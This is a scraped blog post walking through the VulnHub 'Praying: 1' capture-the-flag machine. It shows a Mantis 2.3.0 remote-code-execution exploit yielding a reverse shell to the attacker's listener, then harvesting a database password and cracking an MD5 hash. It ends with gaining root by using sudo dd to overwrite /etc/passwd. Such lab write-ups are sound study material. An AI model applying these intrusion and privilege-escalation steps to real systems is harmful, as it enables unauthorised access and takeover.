当前位置:网站首页>Praying: 1 vulnhub walkthrough
Praying: 1 vulnhub walkthrough
2022-08-02 03:59:00 【xdeclearn】
Praying: 1
虚拟机信息:http://www.vulnhub.com/entry/praying-1,575/
1. 获取shell
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
服务器只开放了80端口,访问后为apache默认页面,于是用dirbran the directory,发现了admin目录.
==> DIRECTORY: http://192.168.56.105/admin/
Found after discoverymantis的登陆页面

After testing, it was found that there is still an arbitrary account password reset vulnerability.修改aministrator账户登陆,发现版本为2.3.0.

利用searchsploitDirectly found the command execution code.
Mantis Bug Tracker 2.3.0 - Remote Code E | php/webapps/48818.py
于是得到了第一个shell.
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.56.101:4444
[*] Command shell session 1 opened (192.168.56.101:4444 -> 192.168.56.105:55892) at 2020-11-26 08:31:16 -0500
id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/html$
2. 获取root
Do some information gathering first
cat /etc/passwd|grep /bin/bash
root::0:0:root:/root:/bin/bash
mantis:x:1000:1000:praying:/home/mantis:/bin/bash
developer:x:1001:1001:,,,:/home/developer:/bin/bash
projman:x:1002:1002:,,,:/home/projman:/bin/bash
elevate:x:1003:1003:,,,:/home/elevate:/bin/bash
root:x:0:0:root:/root:/bin/bash
mantis:x:1000:1000:praying:/home/mantis:/bin/bash
developer:x:1001:1001:,,,:/home/developer:/bin/bash
projman:x:1002:1002:,,,:/home/projman:/bin/bash
elevate:x:1003:1003:,,,:/home/elevate:/bin/bash
ls -all /home
total 24
drwxr-xr-x 6 root root 4096 Sep 24 23:01 .
drwxr-xr-x 20 root root 4096 Sep 24 16:12 ..
drwx------ 3 developer developer 4096 Sep 24 20:15 developer
drwx------ 4 elevate elevate 4096 Nov 26 13:12 elevate
drwx------ 4 mantis mantis 4096 Sep 26 23:25 mantis
drwx------ 5 projman projman 4096 Sep 26 23:27 projman
发现了用户mantis,So check whether there are any files related to the user.
发现存在/var/www/redmine目录,进入之后在database.yml找到了用户 projman的口令.
adapter: mysql2
database: redmine
host: localhost
username: projman
password: "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
# Use "utf8" instead of "utfmb4" for MySQL prior to 5.7.7
encoding: utf8mb4
切换用户登陆,It was found that there is a file under the user for .part1.
ls -all
total 36
drwx------ 5 projman projman 4096 Sep 26 23:27 .
drwxr-xr-x 6 root root 4096 Sep 24 23:01 ..
lrwxrwxrwx 1 projman projman 9 Sep 24 23:19 .bash_history -> /dev/null
-rw-r--r-- 1 projman projman 220 Sep 24 20:11 .bash_logout
-rw-r--r-- 1 projman projman 3771 Sep 24 20:11 .bashrc
drwx------ 2 projman projman 4096 Sep 24 20:13 .cache
drwxrwxr-x 3 projman projman 4096 Sep 24 23:47 .local
-rw-r--r-- 1 projman projman 33 Sep 24 23:47 .part1
-rw-r--r-- 1 projman projman 807 Sep 24 20:11 .profile
drwx------ 2 projman projman 4096 Sep 26 23:27 .ssh
cat .part1
4914CACB6C089C74AEAEB87497AF2FBA
Put that password incmd5Crack to get new userselevate的密码tequieromucho.
切换到该用户,查看sudo -l,发现可以sudo执行dd命令.这个就比较简单了,重写一个/etc/passwd取消root账户密码,成功获取root.这是新的passwd文件1.txt.
cat 1.txt
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
........................
[email protected]:~$ sudo -u root dd if=1.txt of=/etc/passwd
sudo -u root dd if=1.txt of=/etc/passwd
[sudo] password for elevate: tequieromucho
8+1 records in
8+1 records out
4106 bytes (4.1 kB, 4.0 KiB) copied, 0.000241207 s, 17.0 MB/s
[email protected]:~$ su - root
su - root
[email protected]:~# ls
ls
message part2 root.txt snap
[email protected]:~# cat root.txt
cat root.txt
██▓███ ██▀███ ▄▄▄ ▓██ ██▓ ██▓ ███▄ █ ▄████
▓██░ ██▒▓██ ▒ ██▒████▄ ▒██ ██▒▓██▒ ██ ▀█ █ ██▒ ▀█▒
▓██░ ██▓▒▓██ ░▄█ ▒██ ▀█▄ ▒██ ██░▒██▒▓██ ▀█ ██▒▒██░▄▄▄░
▒██▄█▓▒ ▒▒██▀▀█▄ ░██▄▄▄▄██ ░ ▐██▓░░██░▓██▒ ▐▌██▒░▓█ ██▓
▒██▒ ░ ░░██▓ ▒██▒▓█ ▓██▒ ░ ██▒▓░░██░▒██░ ▓██░░▒▓███▀▒
▒▓▒░ ░ ░░ ▒▓ ░▒▓░▒▒ ▓▒█░ ██▒▒▒ ░▓ ░ ▒░ ▒ ▒ ░▒ ▒
░▒ ░ ░▒ ░ ▒░ ▒ ▒▒ ░▓██ ░▒░ ▒ ░░ ░░ ░ ▒░ ░ ░
░░ ░░ ░ ░ ▒ ▒ ▒ ░░ ▒ ░ ░ ░ ░ ░ ░ ░
░ ░ ░░ ░ ░ ░ ░
███▄ ▄███▓ ▄▄▄ ███▄ ░ █ ▄▄▄█████▓ ██▓ ██████
▓██▒▀█▀ ██▒▒████▄ ██ ▀█ █ ▓ ██▒ ▓▒▓██▒▒██ ▒
▓██ ▓██░▒██ ▀█▄ ▓██ ▀█ ██▒▒ ▓██░ ▒░▒██▒░ ▓██▄
▒██ ▒██ ░██▄▄▄▄██▓██▒ ▐▌██▒░ ▓██▓ ░ ░██░ ▒ ██▒
▒██▒ ░██▒ ▓█ ▓██▒██░ ▓██░ ▒██▒ ░ ░██░▒██████▒▒
░ ▒░ ░ ░ ▒▒ ▓▒█░ ▒░ ▒ ▒ ▒ ░░ ░▓ ▒ ▒▓▒ ▒ ░
░ ░ ░ ▒ ▒▒ ░ ░░ ░ ▒░ ░ ▒ ░░ ░▒ ░ ░
░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░
██▀███░ ▒█████ ░ ▒█████ ▄▄▄█████▓▓█████ ▓█████▄░ ▐██▌
▓██ ▒ ██▒▒██▒ ██▒▒██▒ ██▒▓ ██▒ ▓▒▓█ ▀ ▒██▀ ██▌ ▐██▌
▓██ ░▄█ ▒▒██░ ██▒▒██░ ██▒▒ ▓██░ ▒░▒███ ░██ █▌ ▐██▌
▒██▀▀█▄ ▒██ ██░▒██ ██░░ ▓██▓ ░ ▒▓█ ▄ ░▓█▄ ▌ ▓██▒
░██▓ ▒██▒░ ████▓▒░░ ████▓▒░ ▒██▒ ░ ░▒████▒░▒████▓ ▒▄▄
░ ▒▓ ░▒▓░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒ ░░ ░░ ▒░ ░ ▒▒▓ ▒ ░▀▀▒
░▒ ░ ▒░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░
░░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
░
https://www.youtube.com/watch?v=T1XgFsitnQw
边栏推荐
- IO stream, encoding table, character stream, character buffer stream
- 如何根据地图上的两个坐标点来确定方向
- v-bind用法:类动态绑定对象 数组 style样式 及函数方法
- [sebastian/diff] A historical change extension library for comparing two texts
- Using PHPMailer send mail
- 轮播图详解(完整代码在最后)
- IO streams, byte stream and byte stream buffer
- js预编译 GO 和AO
- 阿里云服务器如何使用admin账户登录
- Phpstudy installs Thinkphp6 (problem + solution)
猜你喜欢
随机推荐
What are the killer super powerful frameworks or libraries or applications for PHP?
AES加密的各种蛋疼方式方式
第一次手撕代码,如何解出全排列问题
4.表单与输入
查询数据库中所有表的索引,并且解析成sql
Query the indexes of all tables in the database and parse them into sql
MySql高级 -- 约束
关于tp的apache 的.htaccess文件
js __proto__、prototype、constructor的关系
4. PHP array and array sorting
正则笔记(2)- 正则表达式位置匹配攻略
DVWA drone installation tutorial
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
Turn trendsoft/capital amount of Chinese capital library
hackmyvm: controller walkthrough
逍遥多开模拟器ADB驱动连接
SQL:DDL、DML、DQL、DCL相应介绍以及演示
(2) Thinkphp6 template engine ** tag
[campo/random-user-agent]随机伪造你的User-Agent
轮播图详解(完整代码在最后)


![[sebastian/diff]一个比较两段文本的历史变化扩展库](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)






